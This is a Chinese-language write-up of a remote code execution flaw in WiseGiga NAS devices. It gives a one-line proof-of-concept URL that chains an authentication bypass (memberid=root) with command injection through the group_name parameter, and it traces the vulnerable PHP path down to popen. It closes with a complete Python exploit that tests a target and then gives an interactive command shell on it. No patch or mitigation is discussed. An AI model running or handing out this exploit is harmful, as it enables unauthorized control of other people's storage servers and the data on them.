WiseGiga NAS 远程代码执行
漏洞描述
WiseGiga NAS是一种韩国的“网络存储器”,它是一种专用的数据存储服务器。WiseGiga NAS 系统group.php存在任意命令执行漏洞,攻击者可以通过执行任意命令,获取服务器管理权限。
影响范围
WiseGiga NAS
资产测绘
暂无
漏洞复现
登录界面如下
POC
/admin/group.php?memberid=root&cmd=add&group_name=d;id>1.txt
成功将命令执行结果写入1.txt
开始分析group.php
首先访问该php前,调用了auth函数进行鉴权
在pre.php中,找到了auth方法,当$memberid=="root"时,则鉴权成功
因此只需要构造参数group.php?memberid=root即可绕过鉴权
根据漏洞参数&cmd=add&group_name=parms,定位到group.php的178行
该方法调用了add_system()方法
跟进add_system方法,发现group_name参数传入了root_exec_cmd方法中
再次跟进root_exec_cmd方法
该方法的解释如下
function root_exec_cmd($cmd)
{
// 打开一个临时文件以写入要执行的命令
$tmpfile = fopen("/tmp/ramdisk/cmd.list", "w");
// 将命令写入临时文件
fwrite($tmpfile, $cmd);
// 关闭文件句柄
fclose($tmpfile);
// 使用popen打开一个进程,并执行指定的脚本(/tmp/ramdisk/ramush)
popen("/tmp/ramdisk/ramush", "r");
}
popen
是 PHP 中的一个函数,用于打开一个进程的管道。它创建一个进程,并返回一个文件指针,可以通过该文件指针来读取或写入该进程的输入和输出。这个函数通常用于执行外部命令并与其进行交互。
这个函数通常用于执行系统命令,例如:
$fp = popen('ls -l', 'r');
while (!feof($fp)) {
echo fgets($fp);
}
pclose($fp);
上述代码执行 ls -l
命令,并读取其输出。
因此,前端传入的group_name最终会被popen函数执行,而group_name参数没有进行严格的过滤和校验,导致命令拼接,造成任意代码执行。
POC&EXP
# -*- encoding: utf-8 -*-
# Date: 2023/11/27
# Author: iy
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def title():
print('+-------------------------------------------------')
print('[+] \033[34mWiseGiga NAS远程代码执行 \033[0m')
print('+-------------------------------------------------')
def check(target_url):
check_url = target_url + "/admin/group.php?memberid=root&cmd=add&group_name=d;echo%20rce%20>%20rce.txt"
try:
requests.get(url=check_url, verify=False, timeout=10)
des_url = target_url + "/admin/rce.txt"
response = requests.get(url=des_url, verify=False, timeout=10)
if response.status_code == 200 and 'rce' in response.text:
print("[+] 漏洞存在")
return True
else:
return False
except Exception as e:
print("请求发生异常:", e)
def exp(target_url):
if check(target_url):
while True:
cmd = str(input("\033[35mcmd >>> \033[0m"))
if cmd.lower() == 'q':
break
vuln_url = target_url + f"/admin/group.php?memberid=root&cmd=add&group_name=d;{cmd}%20>%20rce.txt"
try:
requests.get(url=vuln_url, verify=False, timeout=10)
des_url = target_url + "/admin/rce.txt"
response = requests.get(url=des_url, verify=False, timeout=10)
print(response.text)
except Exception as e:
print("请求发生异常:", e)
else:
print("[-] 漏洞不存在")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mUrl >>> \033[0m"))
exp(target_url)
运行效果